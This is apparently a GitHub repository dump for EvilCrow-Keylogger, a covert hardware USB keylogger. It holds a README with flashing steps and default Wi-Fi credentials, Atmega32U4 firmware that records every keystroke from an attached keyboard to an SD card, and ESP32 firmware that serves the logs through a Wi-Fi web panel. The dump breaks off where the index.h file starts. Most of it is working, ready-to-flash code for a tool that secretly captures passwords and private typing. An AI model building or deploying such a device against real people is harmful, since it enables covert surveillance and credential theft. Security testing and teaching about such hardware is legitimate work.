[
  {
    "path": "README.md",
    "content": "# EvilCrow-Keylogger\nWiFi keylogger with Micro SD slot, based on the Atmega32U4 microcontroller and the ESP32-PICO module\n\n![EvilCrow](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/Logo1.jpg)\n\n**Idea, development and implementation:** Joel Serna (@JoelSernaMoreno) & Ernesto Sánchez (@ernesto_xload)\n\n**Collaborators:**  Ignacio Díaz (@Nacon_96) / Forensic&Security (@ForensicSec)\n\n**PCB design, manufacturer and distributor:** April Brother (@aprbrother)\n\nThe developers and collaborators of this project do not earn money with this. \nYou can invite me for a coffee to further develop Low-Cost hacking devices. If you don't invite me for a coffee, nothing happens, I will continue developing devices.\n\n[![ko-fi](https://www.ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/E1E614OA5)\n\n**Available with April Brother (shipping from China):**\n\n* Aliexpress: https://www.aliexpress.us/item/3256806627810074.html\n* Tindie: https://www.tindie.com/products/aprbrother/evilcrow-keylogger/\n\n**Available with SAPSAN Cybersec & Military (shipping from EU, Poland):**\n\n* https://sapsan-sklep.pl/en/products/evilcrow-hardware-keylogger\n\n**Available with KSEC KSEC Worldwide (shipping from the United Kingdom):**\n\n* https://labs.ksec.co.uk/product/evilcrow-keylogger-wifi-keylogger-with-micro-sd-slot/\n\n**Available with Tienda Espía (shipping from Mexico):**\n\n* https://tiendaespia.com.mx/producto/evil-crow-keylogger-wifi/\n\n**Summary:**\n1. Disclaimer\n2. Introduction\n3. Installation\n\t* Software requirements\n\t* Layout support\n\t* Automatic installation\n\t* Automatic installation with ESP Flasher\n\t* Manual installation\n4. Firmware\n\t* First steps with Evil Crow Keylogger\n\t* Home\n\t* Log Viewer\n\t* Config\n5. Use the Micro SD Slot\n6. Unbrick Evil Crow Keylogger with Hall Sensor\n\n# Disclaimer\n\nEvil Crow Keylogger is a physical keylogger device for professionals and cybersecurity enthusiasts.\n\nAprilBrother and the collaborators of this project are not responsible for the incorrect use of Evil Crow Keylogger.\n\nWe recommend using this device for testing, learning and fun :D\n\n# Introduction\n\nEvil Crow Keylogger is a physical keylogger with the following hardware:\n\n* Atmega32U4 with Arduino Lilypad USB bootloader\n* ESP32-PICO module for communication via Wi-Fi\n* Slot MicroSD\n* USB Host MAX3421\n* Hall sensor for unbrick device\n\n**NOTE:** \n\n* Some keys or modifiers have not been implemented. I don't have time or material to test all the keyboards. If you have any errors, you can contact me by Twitter: @JoelSernaMoreno\n* All Keyloggers have been flashed firmware `EvilCrow-Keylogger` before shipping\n\n**Layouts:**\n\n* BE_BE layout support.\n* CZ_CZ layout support.\n* DA_DK layout support.\n* DE_DE layout support.\n* EN_US layout support.\n* ES_ES layout support.\n* FI_FI layout support.\n* FR_FR layout support.\n* IT_IT layout support.\n* PT_PT layout support.\n* TR_TR layout support.\n\n**NOTE:** Please do not ask me to implement new functions in this code. You can develop code for Evil Crow Keylogger and send me PR with your new code.\n\n# Installation\n\n## Software requirements\n\n* 0.- Add your user to the dialout group: sudo usermod -a -G dialout USER\n\n* 1.- Install esptool: sudo apt install esptool\n\n* 2.- Install pyserial: sudo pip install pyserial\n\nNow you can flash Atmega32u4 and ESP32-PICO in different ways:\n\n* Automatic installation\n* Automatic installation with ESP Flasher\n* Manual installation\n\n## Layout support\n\nEvil Crow Keylogger supports several layouts, the en_us layout is by default.\n\nSet up a new layout:\n\n* 0.- Open Keyboard/src/Keyboard.cpp with a text editor\n\n* 1.- Change #define kbd_en_us to another layout. Example: #define kbd_es_es\n\nYou can use:\n- kbd_be_be\n- kbd_cz_cz\n- kbd_da_dk\n- kbd_de_de\n- kbd_en_us\n- kbd_es_es\n- kbd_fi_fi\n- kbd_fr_fr\n- kbd_it_it\n- kbd_pt_pt\n- kbd_tr_tr\n\n* 2.- Save and close Keyboard.cpp\n\n## Automatic installation\n\n1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html\n1. Download [keylogger-pio](https://github.com/volca/keylogger-pio.git) repository (This is a migration of Evil Crow Keylogger to platformio): `git clone https://github.com/volca/keylogger-pio.git`\n1. Download source [EvilCrow-Keylogger](https://github.com/joelsernamoreno/EvilCrow-Keylogger.git). Put the directory in same level with keylogger-pio: `git clone https://github.com/joelsernamoreno/EvilCrow-Keylogger.git`\n1. Add jumper GPIO0 to GND for ESP32-PICO\n![Jumper](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/jumper.jpg)\n1. Connect Evil Crow Keylogger via USB port\n1. Go to the keylogger-pio directory: `cd keylogger-pio`\n1. Run `flash.bat` or `./flash.sh` to program 32u4 and esp32-pico\n\n**Note:** Please re-plug Evil Crow Keylogger if you run the steps again. Because the script can't reset ESP32-PICO to program mode.\n\n## Automatic installation with ESP Flasher\n\nBuy ESP Flasher: https://www.aliexpress.com/item/32556128986.html\n\n1. Install Platformio Core: https://docs.platformio.org/en/latest/core/index.html\n2. Download Keylogger-pio: https://github.com/volca/keylogger-pio/tree/prod (This is a migration of Evil Crow Keylogger to platformio): `git clone -b prod https://github.com/volca/keylogger-pio.git keylogger-pio`\n3. Download source EvilCrow-Keylogger. Extract the source code and name it as EvilCrow-Keylogger. Put the directory in same level with keylogger-pio\n4. Wire ESP Flasher and Evil Crow Keylogger\n\n![Keylogger ESP Flasher](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/keylogger-wired.jpg)\n\n5. Connect Evil Crow Keylogger and ESP Flasher to your laptop\n6. Open command line and change directory to keylogger-pio \n7. Run flash.bat or ./flash.sh to program 32u4 and esp32-pico\n\n## Manual installation\n\n* 0.- Download and Install the Arduino IDE: https://www.arduino.cc/en/main/software\n\n* 1.- Open Arduino IDE.\n\n* 2.- Go to File - Preferences. Locate the field \"Additional Board Manager URLs:\" Add \"https://dl.espressif.com/dl/package_esp32_index.json\" without quotes. Click \"Ok\"\n\n* 3.- Select Tools - Board - Boards Manager. Search for \"esp32\". Install \"esp32 by Espressif system version 1.0.3\". Click \"Close\".\n\n* 4.- Download/extract EvilCrow-Keylogger repository.\n\n* 5.- Copy the Keyboard and USB Host Shield libraries included in this repository to your Arduino library directory. \n\n**NOTE:** The Keyboard library included in this repository has been modified, EvilCrow Keylogger needs this library to work.\n\n### Upload the ESP32 code\n\nTo upload the ESP32 code into the keylogger, you can do this in different ways: You can use an Arduino, an FTDI or an ESP Flasher from April Brother.\nOn this way I will use an Arduino to upload the ESP32 code.\n\nHere you can see all the pins corresponding to ESP32:\n\n![ESP32](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32.PNG)\n\n1. Wire the Keylogger with Arduino using the following pinout:\n![Flash](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/esp32-flash.PNG)\n![Wire](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/wire.jpg)\n1. Open Arduino IDE.\n1. Open the ESP32.ino sketch.\n1. Select Tools\n   * Board - \"ESP32 Dev Module\".\n   * Flash Size - \"4MB (32Mb)\".\n   * CPU Frequency - \"80MHz\".\n1. Connecting the Arduino device to the computer.\n1. Upload the code to the board.\n\n### Upload atmega32u4 code\n\n* 0.- Connect Evil Crow Keylogger via USB port.\n\n![usb](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/usb.jpg)\n\n* 1.- Open Arduino IDE.\n\n* 2.- Open the ATMEGA32U4.ino sketch.\n\n* 3.- Select Tools - Board – \"Arduino Lilypad USB\".\n\n* 4.- Upload the code to the board.\n\n* Done!\n\n## First steps with Evil Crow Keylogger\n\n* 0.- Connect a keyboard to the Evil Crow Keylogger USB host port.\n\n* 1.- Connect Evil Crow Keylogger to your laptop.\n\n* 2.- Open a notepad and type Hello World with the keyboard connected to the keylogger\n\n* 3.- Visualize the wifi networks around you and connect to the Keylogger (default SSID: Evil Crow Keylogger).\n\n* 4.- Enter the password for the wifi network (default password: 123456789ECKeylogger).\n\n* 5.- Open a browser and access the web panel (http://192.168.4.1/ or http://evilcrow-keylogger.local/).\n\n**Note:** If you cannot access the web panel, use the default IP address (http://192.168.4.1) or follow below steps **only if you are running Linux OS:**\n * check if avahi-deamon is installed and running on your PC. You can do this with executing \"sudo systemctl status avahi-daemon\" in terminal\n * If service is not running, install it using your package manager (apt, yum, dnf, Packman, rpm,...)\n * After successful installation, start avahi-daemon service with \"sudo systemctl start avahi-daemon && sudo systemctl enable avahi-daemon\"\n * In case evilcrow-keylogger.local is still not reachable, use http://192.168.4.1/.\n \n## Home\n\nThe Home page shows interesting information about the device.\n\n![Home](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/home.png)\n\n## Log Viewer\n\n![LogViewer](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/log-viewer.png)\n\n## Config\n\nThe Config page allows you to change the Wi-Fi configuration.\n\n**NOTE:** Evil Crow Keylogger is configured in AP MODE. You can change the ssid and password from the web panel.\n\nThe changes will be stored in the device, every time you restart Evil Crow Keylogger the new Wi-Fi settings will be applied. If you want to return to the default settings, you can delete the stored Wi-Fi configuration from the web panel.\n\n![CONFIG](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/configwifi.png)\n\n## Use the Micro SD Slot\n\nEvil Crow Keylogger also stores the log on the Micro SD card.\n\n**File:** logs.txt\n\n## Unbrick Evil Crow Keylogger with Hall Sensor\n\nFirst, you’ll need to set the serial port to the bootloader. But that port is only visible when the board is in bootloader mode, so pull the reset line low twice quickly to invoke the bootloader reset feature. You can quickly press the reset button** twice. While the Evil Crow Keylogger is in the bootloader mode, change the ‘Tools > Serial Port’ menu to the bootloader COM port. Quick! You’ve only got eight seconds.\n\n**The reset button is a HALL sensor, that means you need to place a magnet close that side of the PCB, in order to simulate the \"button pressure\".**\n\n![Sensor](https://github.com/joelsernamoreno/EvilCrow-Keylogger/blob/master/images/sensor.PNG)\n\n* 1.- Open Arduino IDE and open ATMEGA32U4.ino sketch\n\n* 2.- Connect Evil Crow Keylogger via USB port.\n\n* 3.- Press Upload sketch\n\n* 4.- Start the unbrick phase with a magnet by placing it close that side of the PCB where the hall sensor is located (do it two times). Close-away-close-away\n"
  },
  {
    "path": "code/ATMEGA32U4/ATMEGA32U4.ino",
    "content": "#include <Keyboard.h>\n#include <hidboot.h>\n#include <usbhub.h>\n#include <SD.h>\n#include <SPI.h>\n\n#define MODIFIERKEY_LEFT_CTRL   (0x01)\n#define MODIFIERKEY_LEFT_SHIFT  (0x02)\n#define MODIFIERKEY_LEFT_ALT    (0x04)\n#define MODIFIERKEY_LEFT_GUI    (0x08)\n#define MODIFIERKEY_RIGHT_CTRL  (0x10)\n#define MODIFIERKEY_RIGHT_SHIFT (0x20)\n#define MODIFIERKEY_RIGHT_ALT   (0x40)\n#define MODIFIERKEY_RIGHT_GUI   (0x80)\n#define SHIFT   (0x80)\n#define ALTGR   (0x40)\n\nextern const uint8_t _asciimap[] PROGMEM;\n\n// modifier states\nint leftctrl_status=0;\nint leftshift_status=0;\nint leftalt_status=0;\nint leftgui_status=0;\nint rightctrl_status=0;\nint rightshift_status=0;\nint rightalt_status=0;\nint rightgui_status=0;\nuint8_t modifiers=0;\nuint8_t modifiersard=0;\nint key_modifier;\n\nFile SDlog;\n\nvoid SetModifiers(void) {\n    modifiers=0;\n    if (leftctrl_status) modifiers |= MODIFIERKEY_LEFT_CTRL;\n    if (leftshift_status) modifiers |= MODIFIERKEY_LEFT_SHIFT;\n    if (leftalt_status) modifiers |= MODIFIERKEY_LEFT_ALT;\n    if (leftgui_status) modifiers |= MODIFIERKEY_LEFT_GUI;\n    if (rightctrl_status) modifiers |= MODIFIERKEY_RIGHT_CTRL;\n    if (rightshift_status) modifiers |= MODIFIERKEY_RIGHT_SHIFT;\n    if (rightalt_status) modifiers |= MODIFIERKEY_RIGHT_ALT;\n    if (rightgui_status) modifiers |= MODIFIERKEY_RIGHT_GUI;   \n}\n\nvoid SetModifiersArd(void) {\n    modifiersard=0;\n    // Arduino modifier mapping (SHIFT, ALTGR)\n    if (leftshift_status) modifiersard |= SHIFT;\n    if (rightalt_status) modifiersard |= ALTGR;   \n}\n\nclass KbdRptParser : public KeyboardReportParser {\n    void PrintKey(uint8_t mod, uint8_t key);\n\n  protected:\n    void OnControlKeysChanged(uint8_t before, uint8_t after);\n    void OnKeyDown(uint8_t mod, uint8_t key);\n    void OnKeyUp(uint8_t mod, uint8_t key);\n    void OnKeyPressed(uint8_t key);\n};\n\n// Keys HID Code mapped\nconst char* KeysChar(uint8_t key) {\n    switch(key) {\n        case 0x62: return \"0\"; // NumPad 0\n        case 0x59: return \"1\"; // NumPad 1\n        case 0x5A: return \"2\"; // NumPad 2\n        case 0x5B: return \"3\"; // NumPad 3\n        case 0x5C: return \"4\"; // NumPad 4\n        case 0x5D: return \"5\"; // NumPad 5\n        case 0x5E: return \"6\"; // NumPad 6\n        case 0x5F: return \"7\"; // NumPad 7\n        case 0x60: return \"8\"; // NumPad 8\n        case 0x61: return \"9\"; // NumPad 9\n        case 0x29: return \" [ESC] \"; // Esc\n        case 0x3A: return \" [F1] \"; // F1\n        case 0x3B: return \" [F2] \"; // F2\n        case 0x3C: return \" [F3] \"; // F3\n        case 0x3D: return \" [F4] \"; // F4\n        case 0x3E: return \" [F5] \"; // F5\n        case 0x3F: return \" [F6] \"; // F6\n        case 0x40: return \" [F7] \"; // F7\n        case 0x41: return \" [F8] \"; // F8\n        case 0x42: return \" [F9] \"; // F9\n        case 0x43: return \" [F1O] \"; // F10\n        case 0x44: return \" [F11] \"; // F11\n        case 0x45: return \" [F12] \"; // F12\n        case 0x46: return \" [PRINTSCREEN] \"; // PrintScreen\n        case 0x47: return \" [SCROLLLOCK] \"; // Scroll Lock\n        case 0x48: return \" [PAUSE] \"; // Pause\n        case 0x2A: return \" [BACKSPACE] \"; // Back Space\n        case 0x49: return \" [INSERT] \"; // Insert\n        case 0x4A: return \" [HOME] \"; // Home\n        case 0x4B: return \" [PAGEUP] \"; // Page UP\n        case 0x4E: return \" [PAGEDOWN] \"; // Page Down\n        case 0x4C: return \" [DELETE] \"; // Delete\n        case 0x4D: return \" [END] \"; // End\n        case 0x52: return \" [UP] \"; // UP\n        case 0x51: return \" [DOWN] \"; // DOWN\n        case 0x50: return \" [LEFT] \"; // LEFT\n        case 0x4F: return \" [RIGHT] \"; // RIGHT\n        case 0x53: return \" [NUMLOCK] \"; // Num Lock\n        case 0x54: return \" [NUMPAD /] \"; // NumPad /\n        case 0x55: return \" [NUMPAD *] \"; // NumPad *\n        case 0x56: return \" [NUMPAD -] \"; // NumPad -\n        case 0x57: return \" [NUMPAD +] \"; // NumPad +\n        case 0x63: return \" [NUMPAD .] \"; // NumPad .\n        case 0x58: return \" [NUMPADRETURN] \"; // NumPad Return\n        case 0x2B: return \" [TAB] \"; // TAB\n        case 0x39: return \" [CAPSLOCK] \"; // Caps Lock\n        case 0x65: return \" [MENU] \"; // Menu\n        default: return nullptr;\n    }\n}\n\nvoid KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {\n    SetModifiersArd();\n    Keyboard.rawrelease(key, 0);\n    key_modifier = key | modifiersard;\n    SDlog = SD.open(\"logs.txt\", FILE_WRITE);\n    bool written = false;\n\n    // Main Keyboard ASCII mapping\n    for (int i = 0; i < 256; i++) {\n        if (pgm_read_byte(_asciimap + i) == key_modifier) {\n            SDlog.write(i);\n            Serial1.write(i);\n            written = true;\n            break;\n        }\n    }\n\n    // Keys digits fallback logging\n    if (!written) {\n        const char* txt = KeysChar(key);\n        if (txt != nullptr) {\n            SDlog.print(txt);\n            Serial1.print(txt);\n        }\n    }\n\n    SDlog.close();\n}\n\nvoid KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) { \n    SetModifiers();\n    Keyboard.rawpress(key, modifiers);\n}\n\nvoid KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {\n    MODIFIERKEYS beforeMod;\n    *((uint8_t*)&beforeMod) = before;\n\n    MODIFIERKEYS afterMod;\n    *((uint8_t*)&afterMod) = after;\n\n    if (beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl) leftctrl_status = !leftctrl_status;\n    if (beforeMod.bmLeftShift != afterMod.bmLeftShift) leftshift_status = !leftshift_status;\n    if (beforeMod.bmLeftAlt != afterMod.bmLeftAlt) leftalt_status = !leftalt_status;\n    if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI) {\n        if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);\n        else Keyboard.release(KEY_LEFT_GUI);\n    }\n    if (beforeMod.bmRightCtrl != afterMod.bmRightCtrl) rightctrl_status = !rightctrl_status;\n    if (beforeMod.bmRightShift != afterMod.bmRightShift) rightshift_status = !rightshift_status;\n    if (beforeMod.bmRightAlt != afterMod.bmRightAlt) rightalt_status = !rightalt_status;\n    if (beforeMod.bmRightGUI != afterMod.bmRightGUI) rightgui_status = !rightgui_status;\n}\n\nUSB     Usb;\nUSBHub  Hub(&Usb);\nHIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);\n\nKbdRptParser Prs;\n\nvoid setup() {\n    Serial.begin(38400);\n    Serial1.begin(38400);\n    delay(500);\n    SD.begin(5);\n\n    #if !defined(__MIPSEL__)\n        while (!Serial1);\n    #endif\n\n    if (Usb.Init() == -1)\n        delay(200);\n\n    HidKeyboard.SetReportParser(0, &Prs);\n}\n\nvoid loop() {\n    Usb.Task();\n}\n"
  },
  {
    "path": "code/ESP32/ESP32.ino",
    "content": "#include <WiFi.h>\n#include <WiFiClient.h>\n#include <WiFiAP.h>\n#include <WebServer.h>\n#include <ESPmDNS.h>\n#include \"SPIFFS.h\"\n#include \"index.h\"\n#include \"viewlog.h\"\n#include \"config.h\"\n#include \"javascript.h\"\n#include \"style.h\"\n\n// Config SSID, password and hostname\nString defaultSSID = \"Evil Crow Keylogger\";\nString defaultPassword = \"123456789ECKeylogger\";\nString hostname = \"evilcrow-keylogger\";\n\n// File\nFile logs;\n\n// Web Server\nString webString;\nchar local_IPstr[16];\nconst bool formatOnFail = true;\nWebServer controlserver(80);\n\nvoid enableWiFi() {\n  String wifiSSID = defaultSSID;\n  String wifiPassword = defaultPassword;\n\n  if (readWiFiConfig(wifiSSID, wifiPassword)) {\n    //Serial.println(\"Using saved Wi-Fi credentials.\");\n  } else {\n    //Serial.println(\"Using default Wi-Fi credentials.\");\n  }\n\n  WiFi.mode(WIFI_AP);\n  WiFi.softAP(wifiSSID.c_str(), wifiPassword.c_str());\n}\n\nvoid appendFile(fs::FS &fs, const char *path, const char *message, String messagestring) {\n  logs = fs.open(path, FILE_APPEND);\n  if (!logs) {\n    // Serial.println(\"Failed to open file for appending\");\n    return;\n  }\n\n  if (logs.print(message) | logs.print(messagestring)) {\n    // Serial.println(\"Message appended\");\n  } else {\n    // Serial.println(\"Append failed\");\n  }\n\n  logs.close();\n}\n\nvoid deleteFile(fs::FS &fs, const char * path){\n  //Serial.printf(\"Deleting file: %s\\n\", path);\n  if(fs.remove(path)){\n    //Serial.println(\"File deleted\");\n  } else {\n    //Serial.println(\"Delete failed\");\n  }\n}\n\nbool readWiFiConfig(String &ssid, String &password) {\n  if (!SPIFFS.exists(\"/wifi_config.txt\")) {\n    //Serial.println(\"Wi-Fi config file not found\");\n    return false;\n  }\n\n  File file = SPIFFS.open(\"/wifi_config.txt\", FILE_READ);\n  if (!file) {\n    //Serial.println(\"Failed to open Wi-Fi config file\");\n    return false;\n  }\n\n  ssid = file.readStringUntil('\\n');\n  ssid.trim();\n\n  password = file.readStringUntil('\\n');\n  password.trim();\n\n  file.close();\n\n  if (ssid.length() == 0 || password.length() == 0) {\n    //Serial.println(\"Invalid Wi-Fi config (empty fields)\");\n    return false;\n  }\n\n  //Serial.println(\"Wi-Fi config read successfully:\");\n  //Serial.print(\"SSID: \"); Serial.println(ssid);\n  //Serial.print(\"Password: \"); Serial.println(password);\n  return true;\n}\n\nvoid handleUpdateWiFi() {\n  if (controlserver.hasArg(\"ssid\") && controlserver.hasArg(\"password\")) {\n    String newSSID = controlserver.arg(\"ssid\");\n    String newPassword = controlserver.arg(\"password\");\n\n    if (SPIFFS.exists(\"/wifi_config.txt\")) {\n      SPIFFS.remove(\"/wifi_config.txt\");\n    }\n\n    appendFile(SPIFFS, \"/wifi_config.txt\", newSSID.c_str(), \"\\n\");\n    appendFile(SPIFFS, \"/wifi_config.txt\", newPassword.c_str(), \"\\n\");\n    controlserver.send(200, \"application/json\", \"{\\\"status\\\":\\\"success\\\",\\\"message\\\":\\\"Wi-Fi config applied successfully! Device will restart.\\\"}\");\n    delay(500);\n    ESP.restart();\n  } else {\n    controlserver.send(400, \"application/json\", \"{\\\"status\\\":\\\"error\\\",\\\"message\\\":\\\"Missing SSID or password\\\"}\");\n  }\n}\n\nvoid handleDeleteWiFiConfig() {\n  if (SPIFFS.exists(\"/wifi_config.txt\")) {\n    if (SPIFFS.remove(\"/wifi_config.txt\")) {\n      controlserver.send(200, \"application/json\", \"{\\\"status\\\":\\\"success\\\",\\\"message\\\":\\\"Wi-Fi config deleted successfully\\\"}\");\n      ESP.restart();\n    } else {\n      controlserver.send(500, \"application/json\", \"{\\\"status\\\":\\\"error\\\",\\\"message\\\":\\\"Failed to delete the file\\\"}\");\n    }\n  } else {\n    controlserver.send(404, \"application/json\", \"{\\\"status\\\":\\\"error\\\",\\\"message\\\":\\\"Wi-Fi config file not found\\\"}\");\n  }\n}\n\nvoid handleStats() {\n  size_t freeSpiffs = 0;\n\n  if (SPIFFS.begin(true)) {\n    freeSpiffs = SPIFFS.totalBytes() - SPIFFS.usedBytes();\n  }\n\n  String json = \"{\";\n  json += \"\\\"uptime\\\":\" + String(millis() / 1000);\n  json += \",\\\"cpu0\\\":\" + String(getCpuFrequencyMhz());\n  json += \",\\\"cpu1\\\":\" + String(getXtalFrequencyMhz());\n  json += \",\\\"temperature\\\":\" + String(temperatureRead());\n  json += \",\\\"freespiffs\\\":\" + String(freeSpiffs);\n  json += \",\\\"totalram\\\":\" + String(ESP.getHeapSize());\n  json += \",\\\"freeram\\\":\" + String(ESP.getFreeHeap());\n  json += \"}\";\n\n  controlserver.send(200, \"application/json\", json);\n}\n\nvoid setup() {\n  Serial.begin(38400);\n\n  SPIFFS.begin(formatOnFail);\n\n  delay(2000);\n\n  enableWiFi();\n\n  if (!MDNS.begin(hostname.c_str())) {\n    //Serial.println(\"Error setting up MDNS responder!\");\n  }\n\n  logs = SPIFFS.open(\"/logs.txt\", \"a+\");\n\n  controlserver.on(\"/\", []() {\n    controlserver.send(200, \"text/html\", Index);\n  });\n\n  controlserver.on(\"/viewlog\", []() {\n    controlserver.send(200, \"text/html\", ViewLog);\n  });\n  \n  controlserver.on(\"/logs\", [](){\n    logs.close();\n    String serverlog;\n    serverlog += controlserver.arg(0);\n    logs = SPIFFS.open(\"/logs.txt\");\n    webString = logs.readString();\n    logs.close();\n    logs = SPIFFS.open(\"/logs.txt\", \"a+\");\n    controlserver.send(200, \"text/html\", \"View Log: \"+serverlog +\"\\n-----\\n\"+webString);\n    loop(); \n  });\n\n  controlserver.on(\"/delete\", []() {\n    deleteFile(SPIFFS, \"/logs.txt\");\n    controlserver.send(200, \"application/json\", \"{\\\"status\\\":\\\"deleted\\\"}\");\n  });\n\n  controlserver.on(\"/config\", [](){\n    controlserver.send(200, \"text/html\", Config);\n  });\n\n  controlserver.on(\"/updatewifi\", handleUpdateWiFi);\n  controlserver.on(\"/deletewificonfig\", handleDeleteWiFiConfig);\n  controlserver.on(\"/stats\", handleStats);\n\n  controlserver.on(\"/reboot\", []() {\n    controlserver.send(200, \"application/json\", \"{\\\"success\\\":true,\\\"message\\\":\\\"Device rebooting\\\"}\");\n    delay(200);\n    ESP.restart();\n  });\n\n  controlserver.on(\"/connectioncheck\", []() {\n    controlserver.send(200, \"application/json\", \"{\\\"status\\\":\\\"ok\\\"}\");\n  });\n\n  controlserver.on(\"/javascript.js\", []() {\n    controlserver.send(200, \"text/javascript\", Javascript);\n  });\n\n  controlserver.on(\"/style.css\", []() {\n    controlserver.send(200, \"text/css\", Style);\n  });\n  \n  controlserver.begin();\n}\n\nvoid loop() {\n  controlserver.handleClient();\n\n  if(Serial.available()) {\n    logs.write(Serial.read());\n  }\n}\n"
  },
  {
    "path": "code/ESP32/config.h",
    "content": "const char Config[] PROGMEM = R\"=====(\n<!DOCTYPE HTML>\n<html>\n<head>\n  <title>EvilCrow-Keylogger</title>\n  <meta charset=\"utf-8\">\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n  <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n  <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n  <link rel=\"stylesheet\" href=\"style.css\">\n  <script src=\"javascript.js\"></script>\n  <style>\n    .logo-with-status {\n        display: flex;\n        align-items: center;\n        justify-content: center;\n        gap: 10px;\n    }\n  </style>\n</head>\n\n<body>\n  <div id=\"global-toast\" class=\"toast-container\"></div>\n\n  <!-- Menu -->\n  <nav id='menu'>\n    <input type='checkbox' id='responsive-menu'><label for='responsive-menu'></label>\n    <ul>\n            <li><a href=\"/\">Home</a></li>\n            <li><a href=\"/viewlog\">Log Viewer</a></li>\n            <li><a href=\"/config\">Config</a></li>\n    </ul>\n  </nav>\n\n  <div class=\"logo-with-status\">\n    <div class=\"keylogger-logo\">CONFIGURATION</div>\n    <span class=\"status-indicator status-offline\"></span>\n  </div>\n\n  <div class=\"view-container\">\n\n    <!-- Wi-Fi Config -->\n    <form id=\"wifiForm\">\n      <div class=\"section-header\">WIFI</div>\n\n      <div class=\"form-group\">\n        <label for=\"ssid\">Wi-Fi SSID:</label>\n        <input type=\"text\" id=\"ssid\" name=\"ssid\" required class=\"terminal-style single-line-input\">\n      </div>\n\n      <div class=\"form-group\">\n        <label for=\"password\">Wi-Fi Password:</label>\n        <input type=\"password\" id=\"password\" name=\"password\" required class=\"terminal-style single-line-input\">\n      </div>\n\n      <button type=\"button\" onclick=\"applyWiFi()\">Apply Wi-Fi</button>\n      <button type=\"button\" name=\"deleteWifiButton\" onclick=\"deleteWiFiConfig()\">Delete Wi-Fi Config</button>\n    </form>\n\n    <hr>\n\n    <div class=\"config-buttons-container\">\n      <button type=\"button\" name=\"clearCacheButton\" onclick=\"clearCache()\">Clear Device Cache</button>\n      <button type=\"button\" name=\"rebootDeviceButton\" onclick=\"rebootDevice()\">Reboot Device</button>\n    </div>\n\n    <p class=\"payload-desc\">Reload of CSS/JS files.</p>\n  </div>\n\n  <script>\n    function applyWiFi() {\n      const ssid = document.getElementById('ssid').value.trim();\n      const password = document.getElementById('password').value.trim();\n\n      if (!ssid || !password) {\n        showMessage('error', 'SSID and password are required');\n        return;\n      }\n\n      fetch('/updatewifi', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },\n        body: new URLSearchParams({ ssid, password })\n      })\n      .then(response => response.json())\n      .then(data => {\n        if (data.status === 'success') {\n          showMessage('success', data.message);\n        } else {\n          showMessage('error', data.message);\n        }\n      })\n      .catch(error => {\n        showMessage('error', 'Error applying Wi-Fi settings');\n        console.error('Error:', error);\n      });\n    }\n\n    function deleteWiFiConfig() {\n      if (confirm('Are you sure you want to delete the Wi-Fi configuration?')) {\n        fetch('/deletewificonfig', { method: 'POST' })\n          .then(response => response.json())\n          .then(data => {\n            if (data.status === 'success') {\n              showMessage('success', data.message || 'Wi-Fi configuration deleted!');\n            } else {\n              showMessage('error', data.message || 'Error deleting Wi-Fi config');\n            }\n          })\n          .catch(error => {\n            showMessage('error', 'Error deleting Wi-Fi configuration: ' + error.message);\n          });\n      }\n    }\n\n    function clearCache() {\n      const links = document.querySelectorAll('link[rel=\"stylesheet\"], script[src]');\n      links.forEach(link => {\n        const url = new URL(link.href || link.src);\n        url.searchParams.set('nocache', Date.now());\n        link.href = url.toString();\n      });\n      showMessage('success', 'Cache cleared! Refreshing...');\n      setTimeout(() => location.reload(true), 1000);\n    }\n\n    function rebootDevice() {\n      if (confirm('Are you sure you want to reboot the device?')) {\n        showMessage('info', 'Device rebooting... Please wait');\n        fetch('/reboot', { method: 'POST' }).catch(() => {\n          console.log('Evil Crow Keylogger is rebooting, ignoring fetch error');\n        });\n      }\n    }\n\n    function showMessage(type, text) {\n      const container = document.getElementById('global-toast');\n      const toast = document.createElement('div');\n      toast.className = `toast-message ${type}`;\n      toast.textContent = text;\n      container.appendChild(toast);\n      setTimeout(() => toast.remove(), 4000);\n    }\n\n    function checkConnection() {\n      fetch('/connectioncheck')\n        .then(response => response.json())\n        .then(data => {\n          const indicator = document.querySelector('.status-indicator');\n          if (indicator) {\n            indicator.classList.remove('status-offline', 'status-online');\n            if (data.status === 'ok') {\n              indicator.classList.add('status-online');\n            } else {\n              indicator.classList.add('status-offline');\n            }\n          }\n        })\n        .catch(error => {\n          const indicator = document.querySelector('.status-indicator');\n          if (indicator) {\n            indicator.classList.remove('status-offline', 'status-online');\n            indicator.classList.add('status-offline');\n          }\n        });\n    }\n\n    document.addEventListener('DOMContentLoaded', () => {\n      checkConnection();\n      setInterval(checkConnection, 5000);\n    });\n  </script>\n</body>\n</html>\n)=====\";\n"
  },
  {
    "path": "code/ESP32/index.h",
